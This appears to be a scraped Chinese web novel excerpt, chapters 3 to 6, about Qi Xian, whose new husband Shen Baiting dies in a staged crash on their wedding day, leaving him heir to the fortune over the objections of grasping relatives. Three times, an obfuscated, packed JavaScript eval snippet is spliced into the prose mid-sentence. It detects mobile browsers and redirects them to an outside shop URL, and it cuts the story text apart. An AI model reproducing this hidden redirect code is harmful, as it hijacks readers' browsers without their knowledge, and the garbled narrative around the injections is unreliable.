可是,他是祁家的透明人,也没有任何本事,沈柏霆一个炙手可热的商业新贵,能图他什么呢?
……总不能是身体吧!
祁闲突然浑身一哆嗦。
他就是说,瞎说啊,有没有一种可能,沈柏霆他……是个变态杀人狂?!
沈柏霆只是想要找一个合适的玩具,等到回家,就会把他关进小黑屋,什么电锯老虎钳辣椒水的,先这样再那样!满足那不为人知的变态萨(S)满(M)癖好!
反正他现在是沈柏霆的合法配偶,就算从此之后再也不出现在其它地方,沈柏霆也可以名正言顺地解释他的失踪——在家呢,不喜欢出门。
很离谱。
但他为什么觉得,又很靠谱呢!
祁闲不安地车窗外瞟,看到窗外的那一刻,呆住了。
陈放把车开进了一处奢华的别墅小区,祁闲知道这地方,华业东方是沈柏霆最新开发的地段,目前还未开售,只有开发商沈柏霆能随意自由进出!
完蛋了!沈柏霆真准备了小黑屋!
祁闲慌了。
停车之后他立刻撒腿就跑,还来得及吗?
S680停在一处种着梨树的院落外,从院墙探出的大簇梨花以过分明丽的姿态,蛮横闯入祁闲的视线。
如果可以,他想让自己的尸体埋在这棵梨树下,血染梨花白,来年就会有人发现他。
驾驶座的陈放解开安全带下车,为他打开后排的车门。
陈放:“祁少,请。”
祁闲木然,屁股不动如山。
沈柏霆:“需要我抱你下去吗?”
祁闲弹射起步:“不用了谢谢谢谢我自己来。”
祁闲狼狈地下了车,四处乱瞟。
还没等他找到逃跑的时机,沈柏霆就在身后催促:“进去吧。”
祁闲浑身打了个哆嗦。
其实可以不用这么着急的,他还想多感受一下世界的美好。
祁闲提心吊胆穿过前院,院墙角落里放着锋利的园艺剪,堆放的木板看起来很适合把人钉在上面,水桶用来把还温热的血倒掉……
脑子里的画面愈发需要打码,祁闲步伐僵硬,而沈柏霆就跟在他身后,寸步不离。
最后,祁闲在别墅大门口站定,迟迟不敢进去。
沈柏霆的手轻轻搭在他肩膀上,醇厚嗓音如恶魔低语:
“推门看看吧。”
祁闲:“…………”
祁闲回头,最后看了眼阴云密布的天空,悲哀告别。
别了,这美好的世界。
用颤抖的双手推开大门,祁闲心如死灰地抬起头,看到豪宅内景的那一瞬,愣了。
没有什么皮鞭锁链狼牙棒,房子整洁敞亮,所有装潢陈设都神奇贴合他的审美,如果祁闲有一套属于自己的房子,应该也就是这幅样子。
祁闲震惊地看向沈柏霆。
……为了更好的囚禁自己,沈柏霆做的准备也太多了吧!连他的喜好都打探得一清二楚!
“喜欢吗?”沈柏霆问。
“喜欢。”祁闲如实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249108|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回答。
沈柏霆云淡风轻:“专门为你准备的。”
祁闲:“…………”
祁闲不知道自己是该挤出来一丝笑容谢谢沈柏霆,还是该趁着门没锁扭头逃跑。
他正寻思着,就看到沈柏霆从放在餐桌上的袋子里,拿出了一条黑色皮质项圈。
……等等等等!
祁闲心中警铃大作,还没等他躲开,项圈就被扣子了他脖子上。
沈柏霆整理项圈,皮料帖着少年印着深浅红痕的脖颈,而祁闲整个人都僵住了。
果然!他想得一点也没错!!
沈柏霆他就是个超级大变态!!!
沈柏霆不满意地摇摇头,取下项圈:“太显眼了。”
他又拿出一条脚链,蹲下身,系在祁闲左脚脚踝,确定裤脚垂下能够挡住,满意了。
“这是——”沈柏霆刚开口,手机突然响起,他看了眼来电显示,接通。
他不说完,祁闲也知道,就是方便把他锁起来,或者宣誓主权的玩意!
“我知道了,这就过去。”
沈柏霆言简意赅地挂断电话,从怀里掏出一张黑卡:“临时有点事,得出去一趟,我晚上回来,给你做饭吃。”
祁闲嘴比脑子快一步,手也比嘴快一步,他接过黑卡,乖巧答应:“好的。”
过了两秒钟,他才反应过来不对劲。
——沈柏霆晚上要给他做饭吃?这么贤惠啊?不对,这个做饭,肯定不是做饭的意思。
祁闲赌半包辣条,是黑话!
沈柏霆抬起手,手掌在空中顿了半秒,才轻轻放在祁闲发顶。
摸脑袋是吧,他懂!这是想把当成小宠物!他现在抓紧时间蹭沈柏霆手心,是不是能让他心软对自己好点啊?
沈柏霆掌心顺着他的发抚摸,下一瞬,却扣着祁闲的后脑,把他拥入自己怀中。
祁闲趴在沈柏霆怀里,呆愣地眨了眨眼。
……哈?
这不太对吧?
沈柏霆鼻尖蹭过他耳稍,轻痒让祁闲不由自主地绷紧身体,他的两只手完全不知道那往哪儿放,只能像根木头似的,直挺挺站着。
足足抱了好几秒,沈柏霆才把祁闲松开,低声道:“好好的。”
祁闲点头如捣蒜:“嗯嗯。”
沈柏霆转身,大步流星地离开,祁闲望着他的背影,CPU彻底烧了。
到底几个意思?难道是害怕他跑了,在故意放松他的警惕?
S680发动,离开祁闲的视线,祁闲尝试着开门,门也没锁。
他随时都能跑。
难不成是他想错了?
沈柏霆不是要囚禁他的。
那为什么又要给自己戴项圈和脚链?
祁闲琢磨不出个所以然,他用最快速度把整栋别墅逛了一遍,确认没有什么暗门、夹层和地下室,坐在二楼那间属于自己的卧室里,陷入沉思。
还是问问白遥吧。
祁闲躺在床上,发了几个语音条,把今天经历的种种告诉自己最好的朋友。
白遥的语音回复很快弹出来,祁闲赶紧点开。
【咱就是说啊,有没有一种可能,他住在华业东方是因为这里地段太好,装修房子是想让你住得舒服点,给你做饭吃也真的只是字面上的意思?人家想和你好好过日子吧!】
祁闲:【那项圈和脚链呢?】
白遥:【这个我真解释不了,那要不你现在跑路?】
祁闲想了想:【还是别了,就算我跑,沈柏霆肯定也有办法把我抓回来,干脆省点力气,等死算了。明天你要是联系不上我,记得给我烧纸,再给我买栋纸扎别墅,我要最大的。】
白遥:【……我服你了。】
祁闲还是不安,决定求助玄学:【要不你干脆帮我算算吧,就算最近的生活状况。】
白遥:【给我两个汉字。】
这个问题和沈柏霆脱不开关系,干脆就用他的名字问好了。
祁闲:【柏,霆。】
过了片刻,白遥发来一串问号:
【完蛋,我怎么算的是大凶之兆啊???】
祁闲:【?????你别吓我!】
白遥:【不对不对,肯定是我算错了,你就当没问过我。】
祁闲哀嚎:【那你为啥要告诉我啊!!!】
屋里雨势更大了,铅灰色的阴云低垂,压在城市天际线,一瞬间祁闲甚至感觉到了夜晚。他一颗心哇凉哇凉的,早知道就不让白遥算了!社会主义新时代搞什么玄学啊!他应该直接报警!
楼下突然传来“砰”的一声巨响,是门被猛的推开,撞在墙上的响动。
有人闯进来了?!
祁闲吓得一骨碌从床上爬起来,他连鞋都顾不得穿,跑到二楼走廊,将中庭尽收眼底。
陈放跌跌撞撞地冲进客厅,熨帖的西装满是灼烧痕迹,凌乱的血迹将他的脸污成一片暗红,暴雨在他身后倾盆落下,闪电掠过,勾勒出狼狈的轮廓。
“祁少,不好了!”陈放声音颤抖,每一个字都在撕裂的边缘。
“我们路上出了车祸,对方早有预谋,油箱当场爆炸,沈总……沈总他没能逃出来……”
……什么?
雷声终于追随闪电轰隆炸起,沉闷响动砸得祁闲大脑一片空白。
过了足足半分钟,祁闲才反应过来。
沈柏霆,死了?
4. 第 4 章
祁闲一脸木然地站在太平间门外。
沈柏霆的尸体就停放在里面,但祁闲一直没进去。
他还暂时无法接受早上结婚,中午老公就死了的现实。
车祸是一场策划已久的谋杀,沈柏霆刚出小区没多久,载重卡车就从无监控的施工路段冲出来,直挺挺地撞在S680上,陈放刚拼命爬出驾驶座,油箱就轰然爆炸。
对方是冲着沈柏霆来的,作为沈柏霆新婚伴侣的祁闲也很可能有危险,陈放就拖着浑身的伤,赶回别墅查看祁闲状况。
陈放受了很多皮外伤,还在病房里休息,祁闲独自来到太平间。
沈柏霆被从熊熊燃烧的车里救出来时就已经失去了生命体征,没有任何再抢救的必要。
祁闲唯一能够做的,就是处理沈柏霆的后事。
现在他需要去太平间,见沈柏霆最后一面。
可是,沈柏霆怎么就突然死了呢?明明说好了晚上回家会给他做饭,还在临走前嘱咐他好好的呢?
他还在怀疑沈柏霆是内心阴暗打算把他囚禁的大变态呢!这个行为举止莫名其妙的男人,不该变成一具被烧焦的尸体啊?
祁闲说不清心里什么滋味。
刚结婚不到三个小时,新婚丈夫就死了,这事儿放在谁身上都不好接受。
但,确实还有很多事情需要他做。
祁闲深吸口气,鼓起勇气,正要迈步,却被从身后狠狠撞了一下。
“噗!”
重击之下祁闲差点吐血,猛地踉跄,扶着墙才重新站稳。
“外甥啊!我苦命的外甥啊!”
“堂弟,你怎么就走了——”
“我可怜的侄子,你出了事,沈家可怎么办啊!”
一片鬼哭狼嚎随之而来,祁闲诧异地回头,十几个看不清面容的男男女女只有技巧没有感情地哀嚎着,目标明确直奔太平间。
身后还跟着一群扛着长枪短炮的人,闪光灯亮个不停。
他们应该就是沈柏霆的各路亲属了。
怎么还把媒体记者叫来了?
祁闲很快就知道了答案。
为首的大叔正是撞到祁闲的人,一看日常伙食就相当不错,也只有这种吨位,才能达到带着所有人汹汹涌来的披靡效果。
他率先扑到床边,强行挤出几滴眼泪,记者手中相机的镜头对准他悲伤的脸,拍下精心设计的表情和姿态。
“我可怜的侄儿啊!”
大叔哽咽着,伸出颤抖的手,在快门按动的咔咔声中,掀开白布——
然后他哇的一声,吐了。
跟在他身后的亲属们脚步瞬间顿住。
媒体人们按动快门的手指僵了。
但这关键一瞬,还是被记录了下来。
《惊,沈柏霆意外身亡,沈家众人悲伤到……当场吐了他一身?》
饶是祁闲,也忍不住抬手遮住眼睛,默不作声地后退半步。
好恶熏。
白布之下的尸体是遭遇了惨烈车祸又被烧过的,沈柏霆的大伯沈彬磊只顾着作秀,完全忘记了评估自己的心理承受能力。
焦尸原本的味道就不是很美妙,再加上沈彬磊的呕吐物弥散着胃酸臭气,混杂着医院消毒水的气味,祁闲很快又听到了另一声干呕。
“呕——”
这一声仿佛打开了某个开关,哭丧变成了此起彼伏的呕吐。
祁闲捂着鼻子继续诧异后退,他怎么也没想到,沈柏霆的亲戚们竟然会贡献出这样没下限的画面。
一群闻见腥味儿的饿狼绿着眼涌上来,在媒体面前惺惺作态,努力表现,只为了从沈柏霆之死中捞得些好处。
没有任何一个人是为他的死而悲伤。
沈柏霆到底怎么混的啊,一个真正关心他的人都没有。
好惨。
祁闲也不知道哪儿来的勇气,他上前一步,声音不大,却十足坚定。
“够了。”
祁闲拨开挡在自己面前的所有人,来到床边,连看都没看一眼下方情况,直接伸手把白布重新盖上。
“这里是太平间,不是发布会,现在,请你们出去。”
太平间陷入了一瞬间的死寂。
所有人都齐刷刷盯着祁闲,许多张被抹平了的脸孔对准着他,只有高矮胖瘦和样式各异的衣服,告诉祁闲他们是不同的个体。
“你谁啊你?”
穿着米色西装套裙,脚蹬高跟鞋的中年女人发出质问,音色如村口大妈吵架般尖锐。
“大婶,我是沈柏霆的合法伴侣。”祁闲耷下眉眼,低落地装出委屈劲儿,“我不希望有人打扰他,甚至侮辱他的尸体,能麻烦你们出去表演吗?”
“你就是和柏霆联姻的祁家人?”沈彬磊的妻子周若华鄙夷地把祁闲上下打量一番,“就是个被祁家卖过来的小子,还真把自己当人物了,你算什么东西?”
祁闲轻轻叹息:“总比您不是东西要好。”
周若华气地瞪大眼睛:“你——!”
沈彬磊也终于缓过劲,就要爬起来。
用脚指头也能猜到,这人狗嘴里肯定要对他说出点污言秽语。
祁闲干脆把蒙在沈柏霆身上的白布扯下来,蘸着地上的呕吐物,用力一甩——
人群霎时迸发出此起彼伏地尖叫,抱头的抱头,捂脸的捂脸。其中最惨的当然还是沈彬磊,他离得最近,布直接扇到了他脸上。
这块布本来就被焦尸熏入味,再蘸上还热乎的呕吐物甩在脸上,嗯,光是想想就很酸爽。
“呸呸呸,呕——”沈彬磊再度发出了不妙的声音。
祁闲一脸无辜,故作惊讶:“叔,这可是您自己吐得玩意,怎么还恶心上了?”
他一边说着,一边手上不停,把白布抡成大风车,虎虎生威,脱水效果堪比滚动洗衣机。尖叫声中,他甩到手都酸了,才把布重新盖回沈柏霆身上。
那群亲戚反应过来,连崩溅在身上的呕吐物都顾不得擦,就要骂骂咧咧地冲过来弄死祁闲。
祁闲双手抓着停尸床,直接一个漂移,摆出要推着尸体创死所有人的姿势,继续嘤嘤嘤:
“你们别欺负我!要不然,我、我就和柏霆一起还手了!”
祁闲嘴里无辜又可怜,可动作癫疯又脱线,沈家众人毫不怀疑他真能干得出来。
一张张模糊的脸面面相觑,有人指着祁闲,骂道:“有种你出来!别躲在里面!”
祁闲:“不要,我要陪着我老公,你有种,你怎么不过来?”
局面一时间陷入僵持,但很快,爆呵响起:
“干什么!这里是太平间,谁允许你们进来拍摄的!”
一群白大褂带着保安急匆匆走过来,他们伸手拨开沈家众人,声音中满是怒气。
“让开,请尊重死者!”
祁闲松了口气,早在发现沈家人过来时,他就拨通了医保科的电话,刚才不过是拖延一下时间。
赶在沈家人说话之前,祁闲就指着白布上呕吐物的痕迹,对为首的白大褂道:
“大夫您看,这群人冲进来闹事,还有人吐在我老公的尸体上了!”
祁闲可怜巴巴,委屈到哽咽,抹着并不存在的泪,新婚两个小时,就得知丈夫死亡的噩耗,少年眼神茫然而无助,纤瘦的身体颤抖着,仿佛下一秒就会被彻底击垮。
任凭谁看了,都绝对会把他放在弱势一方。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249109|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>院方大怒,除了祁闲之外的所有人都被“请”出了太平间。祁闲投了投耳朵,自动过滤掉那些针对他的咒骂。
世界终于安静了。
陈放一瘸一拐地过来了。
“祁少。”
祁闲根据称呼和走路姿势认出了陈放:“还好吗?”
陈放:“问题不大,就是腿伤的比较重。”
祁闲:“到底怎么回事?”
陈放:“有人谋害沈总,故意在施工路段撞了我们的车,警方刚才过来,说附近的监控也全都被破坏了。”
祁闲:“有怀疑对象吗?”
陈放点头:“当然,沈总这些年做了很多事,得罪了不少人。”
祁闲揉了揉脑袋,头痛。
他本来还怀疑沈柏霆是大变态呢,结果沈柏霆却被别人害死了,痛下杀手的人究竟是谁,只能等警方和陈放调查了。
陈放沉默片刻,继续道:“集团会负责沈总的后事,您不用操心,如果一切顺利,明天应该就会举行葬礼,到时候会有很多人过来,可能会有人找您麻烦……”
祁闲摆手:“无非就是说点难听的话呗,还能打我不成?我虽然脑子不太好使,但也不是谁都能欺负的。”
话是这么说的,但祁闲心里门儿清,葬礼上肯定热闹非凡。
沈柏霆所掌控的集团归谁所有,巨额财产要如何分配,沈家新的掌权人是谁……每一个问题都值得好好掰扯。
可又和他有什么关系呢?
他就是个天选倒霉蛋。
当然,还有个比他更倒霉的,正停尸床上躺着呢。
集团的人负责后续事项,祁闲被送回别墅,他瘫在床上,精疲力尽。
天色昏沉,屋里很暗,除了他的呼吸,就只有风和雨还在不断敲打窗户玻璃,发出噼啪响动。
手机屏幕短暂亮起,又慢慢熄屏,可能是白遥或者祁家的消息?
这会儿沈柏霆的死讯应该传开了,毫无疑问,会在全城掀起惊涛骇浪。
但祁闲连看都没看手机一眼。
他确实不用提心吊胆担心沈柏霆会把他这样那样了,可是,心好累。
结婚证还在抽屉里放着,谁能知道领证不到半天,和他拍照片的人就没了呢?
祁闲幽幽地叹息,正打算找白遥看一下自己是不是八字有问题,把沈柏霆克死了,突然听到楼下传来“咚”的一声闷响。
像是什么重物倒地的声音。
祁闲浑身僵住了。
……有人?
他轻手轻脚地走到门边,从门缝里朝外瞅。
客厅黑漆漆的,整栋别墅里都没开灯。
不是陈放。
有人溜进了别墅,还把东西弄倒了。
新婚丈夫刚去世的夜晚,空旷小区里的硕大别墅,还很可能是专门为他准备的小黑屋,只有他自己孤形吊影,简直就是恐怖片案发现场!
祁闲提心吊胆,猫着腰贴着墙根溜到走廊上,根据印象摸索着找到开关,啪的按亮了客厅的灯。
明亮的灯光驱散所有黑暗,一切的一切都无从遁形。祁闲眯着被光刺到的眼睛,快速扫过楼下客厅的每一寸角落——
半个人影都没有。
甚至他都没找到倒地或者挪位的东西。
不对啊,他明明听到了声音,像是垃圾桶或者椅子被撞到了。
难不成……是闹鬼了?
祁闲突然背后一凉。
他火速跑回卧室,关门反锁,抓起床上的手机,忽略掉那一堆未接来电和祁家人的消息轰炸,点开和白遥的聊天界面。
祁闲:【你说的大凶之兆,总不可能是沈柏霆的鬼魂会来纠缠我吧?!】
5. 第 5 章
白遥秒回:【怎么可能!你要相信科学。】
祁闲:【相信科学这四个字从你嘴里说出来,我不信。】
白遥:【你冷静点,别自己吓自己。你刚从医院回来吧,现在怎么样,还好吗?】
祁闲正打算发语音条和白遥详细说说,一通电话就打了过来。
陌生的本地号码。
祁闲手指在接通键上停顿一秒,还是选择接通。
“祁少。”扬声器里传出陈放疲惫的声音,“是我,陈放,这是我的号码,麻烦您存一下,沈总的事都已经处理的差不多了,葬礼预备明天举行。”
“明天?”祁闲惊讶,“这么着急?确定能安排得妥当?”
陈放:“嗯,我们请了先生,算的明天是最合适的日子,只能抓紧时间赶赶了。来参加的人也不多,我会把人员名单和资料发给您一份,您先认认。”
“我可能没法认。”祁闲解释道,“我有很严重的面部识别障碍,分辨不出来人脸。”
陈放的话音停顿了两秒。
“抱歉祁少,我不知道还有这回事。”
知道祁闲患有面部识别障碍的人很少,也就他几个见过面的好朋友,以及祁家的人。
这病非常影响生活,但好在祁闲是个社恐,平时接触的人不多,总归也能从声音和体型上判断出来。
祁闲:“那明天……”
陈放:“到时候我会全程跟在您身边提醒。”
祁闲松了口气:“好,辛苦了。”
和陈放约好时间,祁闲挂断电话,总感觉有点古怪。
据他了解,葬礼一般都在死后三天举办,在正式下葬之前,还会有追悼会,送殡仪馆火化这些流程。
人今天才死,明天就葬礼,也实在太快了点。
难道是先生算到,沈柏霆在赶着去投胎?
祁闲琢磨着,打开陈放发给他的资料。
虽然认不清脸,但沈柏霆的家庭关系,他还是要了解一下的。
打开文档,祁闲震惊了。
沈柏霆的亲戚们……可真多啊!
沈柏霆的爷爷有五个兄弟姐妹,沈柏霆的父亲又有七个兄弟姐妹,他的叔伯姑姨们又有各自的孩子……
祁闲看着那一堆堆的名字,都开始不认识“沈”这个字了。
他中午在停尸房遇见的那群人,只是这堆亲戚里的一小部分。
祁闲想象了一下明天葬礼上的盛况……忍不住打了个哆嗦。
算了算了,有陈放帮忙呢。
他最应该担心的,是那些和他在太平间有过冲突,被甩了一身呕吐物的人。
又免不了一番恶战啊,先为自己默哀点蜡吧。
祁闲煮了一包冰箱里的羊肉粉填饱肚子,谁又能想到,沈柏霆说好会给他做晚饭,竟然会变成他吃沈柏霆的白饭。
这一晚,祁闲睡得格外不安稳。
前半夜他总觉得冷,裹紧被子,又被混乱纷杂的梦境困住。
阴云密布的天空似乎要压进海面,他拼命朝着远离岸边的方向跑,海水却不断涌上来,淹没双腿,惨白的泡沫散发着腥味,每一次爆开,都要吞噬掉一些东西。
恐惧无孔不入,顺着口鼻涌进气道,挤满每一颗肺泡。
可他最终还是停下脚步,转过身去,朝着海水的深处竭力伸出手,纵然那波涛瞬间就压到了胸口。
喘不上气。
迷蒙中祁闲感觉似乎有什么东西在轻触他脸颊,却睁不开沉重的眼皮,也难以分辨那究竟是什么。
直到闹铃响起,祁闲才从昏睡的泥沼中被艰难唤醒,他只是动弹了一下,五感重新和外界链接的瞬间,就意识到了情况。
他发烧了。
祁闲哀嚎一声,他到底犯了什么天条,坏事一堆堆的来。
肯定是昨晚睡前忘关窗户,吹了一晚上风冻的。
祁闲睁开迷蒙的双眼,看向窗边,一愣。
窗户好端端关着,玻璃把初春寒凉的风雨全都阻隔在外。
可他明明记得昨晚没关啊,他前半夜还迷迷糊糊觉得有冷风吹呢。
难道是睡得记忆错乱了?
祁闲疑惑地抓了抓头发,努力回忆着。
视线收回,却发现床头柜上放着杯水,旁边还有一板药。
药?!?!?!
祁闲吓得当场表演了一个垂死病中惊坐起。
有人昨晚来过他房间!
不光给他关上了窗户,还贴心倒了一杯水!
他明明反锁了门的!
而且这个药……祁闲拿起来一看,退烧的。
所以,睡梦中他感觉有人在摸他的脸,也不是错觉?
昨晚真的有人溜进了别墅里,一直待到后半夜,还解开了反锁的门,进了他的卧室。
完了完了,这屋里有脏东西!
祁闲赶紧给陈放打电话。
陈放很快接通,声音里流露着显而易见的疲惫:“祁少,您已经准备好了?我马上派人去接——”
祁闲:“陈放!家里闹鬼了!”
陈放:“…………”
陈放反应了两秒钟:“您说什么?”
“家里有鬼!”祁闲裹紧被子,蜷缩在床角,“昨晚我就听见有怪动静,去客厅看也没找到人,结果早上我发烧了,一看桌子上竟然放了水和药!而且还有东西在我睡觉的时候摸我的脸!”
陈放当机立断:“家里有监控,我这就让人去查,您可以先穿好衣服,咱这就去葬礼,也省的您自己在家里害怕。”
祁闲:“好好,我这就准备下楼。”
祁闲挂了电话,再次看向桌子。
半分钟后,他磨磨蹭蹭地挪到桌边,把药抠出来,吃了。
甭管到底是阿飘还是变态,退烧药都准备好了,不吃白不吃。
他待会儿还得参加葬礼呢,至少得控制一下病情。
陈放派的司机准时来接,前去墓园的路上,又下起了小雨。
祁闲昏昏沉沉地靠在后座上闭目养神,脑子里想着即将到来的葬礼,还有沈家人们。
对了,司机也是集团的人,说不定会知道些内部消息。
祁闲睁开眼,正猝不及防撞上司机的视线,他正在从后视镜里看祁闲。
被抓了个正着,司机立刻看向正前方,速度快到摆明了在欲盖弥彰。
祁闲:?
干嘛偷看?祁闲摸了摸自己的脸,难道是好奇他这个新婚就死老公的倒霉蛋长什么样?
而且司机的这双眼睛,好像有点熟悉。
祁闲挪了挪角度,试图通过后视镜看得更清楚些,车子却缓缓停下。
司机嗓音沙的像是被毒哑了:“到了。”
唔,陌生的声音,应该是他没见过的人。
祁闲说了声谢谢,开门下车,小心绕过地面的积水。
一把伞撑在他头顶,祁闲抬头,是司机。
司机:“我带您去找陈助理。”
祁闲点头,走向墓园大门,伞下空间有限,司机和祁闲保持着礼貌的距离,雨水从伞沿滴下,打湿了他的半边肩膀。
祁闲抬手把伞朝司机那边推,但对方拿的很稳,依然把他遮得严严实实。
祁闲干脆朝司机身边靠了靠。
两人之间的距离一下子消失,几乎肩膀靠着肩膀。
司机有一瞬间的僵硬。
祁闲发现了前方朝他走来的人影,赶紧挥了挥手,小跑过去和陈放汇合。
陈放捧着个四四方方的檀木盒子,他喊了声“祁少”,把盒子递给祁闲。
祁闲双手接过骨灰盒。比他想象中要轻。
“人基本都到齐了,我带您过去。”陈放说着,朝司机点了下头。
司机把伞交给他,转身离开。
祁闲回头望着司机的背影,若有所思。
这司机还怪有气质的,走路姿势完全不像一位常年开车久坐的司机,更像是气度非凡的上位者。
祁闲晃了晃脑袋。
他真是烧糊涂了,怎么总觉得身边一直在出现熟悉的人呢?
祁闲抱着骨灰盒,跟随陈放来到沈柏霆墓前。
一群人聚集在墓碑旁。祁闲根据身形判断出了昨天和他在太平间产生小小冲突的两位,沈柏霆的大伯沈彬磊和大伯母周若华。
祁闲没理会他们,自顾自地按照流程,在墓穴里焚烧黄纸暖穴,把骨灰盒放在铺好的黄布上,再盖上银布。
沈柏霆的遗物由陈放准备,用小盒子装着一同放进墓穴,之后工作人员封墓,点燃蜡烛和香炉,祁闲端起酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249110|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杯,敬天地先人。
作为亲属,他应该对沈柏霆说一些告慰的话。
但祁闲蹲在墓前,只觉得荒谬。
他盯着“沈柏霆之墓”的刻字和遗照,伸出手,轻碰那张模糊了五官的脸。
平面的,无法通过触觉,和其他人做出区分。
陈放低声道:“祁少,节哀。”
祁闲点头。
默哀只持续了很短的时间,沈彬磊率先按耐不住:“柏霆不在了,集团群龙无首,我们不如趁着大家都在,商量好要怎么办。”
任凭谁都能听出沈彬磊的迫不及待。
昨天他们该演的都已经在太平间里,当着众多媒体的面演完了。
如今只有自家人在,何必再搞弯弯绕绕。
沈柏霆的二姨点头:“是啊,集团的事只要耽误到一丁点,都会造成巨大损失,当务之急,是赶紧选出新的董事长。”
小叔冷笑:“大哥,柏霆这才刚下葬,你们就这么着急得想要集团,未免也太沉不住气了吧?”
堂哥拍拍沈彬磊肩膀:“大伯,这种事还是在家里或者会议室谈比较好,别让人看了笑话。”
“这有什么好看笑话的,现在还有什么比集团更重要吗!”
各路亲戚们你一嘴我一句,一时间红脸白脸黑脸都有人唱,根本不给别人开口的机会。
祁闲半句话也插不上。
他很想喊一声:你们别吵了!这样是吵不死人的!
祁闲听着身后的嘴皮子战争,肩膀上扛着伞,拿起湿巾,随手给沈柏霆擦墓碑。
昨天太平间里他就知道,整个沈家没有任何一个人真正在乎沈柏霆,再次看到相同的状况在葬礼上演,祁闲还是有些心酸。
相识一场,甭管沈柏霆是不是大变态,作为他的配偶,祁闲都想给他一些体面。
祁闲酝酿了一个哈欠,生理性的泪水随之润湿眼眶,连带着眼角都泛着红。
他发着烧,整个人精神萎靡,就更有种死了老公的破碎感。
祁闲用力掐了下自己大腿根,疼得身体猛地一缩,再微微抽动肩膀,抬手假装抹泪,添加几分哽咽:
“柏霆才刚入土,你们就急着分家产,连默哀都没有,就没有一个人在乎他吗?”
周围瞬间安静了,只剩下雨拍打伞面的啪嗒声响。
奏效了?这群人也不怎么样嘛,还不如祁珩难对付。
正当祁闲觉得总算能耳根清净时,鄙夷的冷笑声戳破了他的幻想。
“他沈柏霆算什么东西?要不是老爷子生前使劲儿护着,一个私生子有什么资格得到集团!沈家的产业本来就该是我们的!”
嗯嗯嗯?
祁闲一愣,原来沈柏霆是私生子吗?昨天陈放给他的资料上也没写啊。
他和沈柏霆,都是在各自家族里不被待见的存在。
真是势均力敌,惺惺相惜的凄惨啊。
“谁知道他当年给老爷子灌了什么迷魂药把沈家偷到手的,现在死了,肯定是遭了报应。”
“就是,不然沈家肯定就交给彬磊了。”
“放屁,要是给你们这家蠢货,集团用不了多久就得玩完!”
争执愈演愈烈,沈家人吵得急赤白脸,终于有人想到,目前暂时接替沈柏霆工作的集团代理人是陈放。
“陈助理,你觉得呢?”
陈放是跟了沈柏霆将近十年的助理,谁能得到陈放的支持,谁就能获得更大的赢面。
争吵暂且停歇,所有贪婪的眼睛都紧紧盯着陈放,等待他开口。
陈放:“我联系了律师,拿到了沈总最新立下的遗嘱。”
听到“遗嘱”这俩字,所有人都期待地伸长脖子向前一步。
陈放顿了顿,目光从众人脸上扫过:
“在这份遗嘱中,沈总明确表示,在他死后,他的所有股份和财产,由自己的合法配偶继承。”
祁闲:???????
他揉了揉耳朵,怀疑自己是不是出现幻听。
合法配偶?
是我?是我吗?
陈放抓着祁闲手臂,把半蹲在墓前、一脸懵逼的祁闲拽起来,话音掷地有声。
“也就是说,祁闲先生将继承天纵集团千亿资产,成为集团和沈家新的掌权人!”
6. 第 6 章
“什么?!”
沈家众人发出上百只尖叫鸡般此起彼伏的尖锐爆鸣。
“开什么玩笑!他才刚和柏霆结婚一天!怎么能继承我沈家的家产!”
“就是!一个姓祁的臭小子凭什么拿沈家的东西!”
“陈放,你真是反了天了,竟然敢撒这种谎!”
纵然看不清,祁闲也知道他们肯定义愤填膺得五官乱飞,特别是唾沫星子都要冲破雨幕的阻挡,喷到陈放脸上去了。
祁闲自己也好不到哪儿去。
他的大脑宕机了足足数秒,才在吵嚷中缓慢地消化完毕。
他,要,继承,沈柏霆的,全部,遗产?
怕不是他病的太严重,烧糊涂了吧!!!
陈放神情沉静,丝毫没有被沈家人要吃了他的样子吓到:
“遗嘱上就是这么写的,所有内容都在公证处做过公证,祁闲先生才是沈总钦定的唯一继承人。”
“不可能!沈柏霆是什么时候立的遗嘱?他怎么知道自己会和祁家小子结婚?!是不是你们俩串通好,想要抢走沈家财产?”
——冤枉呐!
但凡你们长点眼睛,看看他脸上呆滞又震惊的表情,都说不出来这种话!
周若华更是激动地跺着高跟鞋上前,指甲都要戳到祁闲脸上了:
“谁不知道他就是沈柏霆弄进来的挡箭牌,沈柏霆想找的人那么多年都没消息,被催得烦了,才随便找了家人联姻。现在还想继承家产?没门!”
陈放侧步挡在祁闲面前,面如寒冰:“麻烦您放尊重点。”
周若华不屑地翻了个白眼,直接将陈放推开:“一个助理还有资格教训我?沈柏霆都死了,你以为你算什么?没了主人的狗罢了!”
陈放的腿还伤着,被这么一推,差点摔倒。
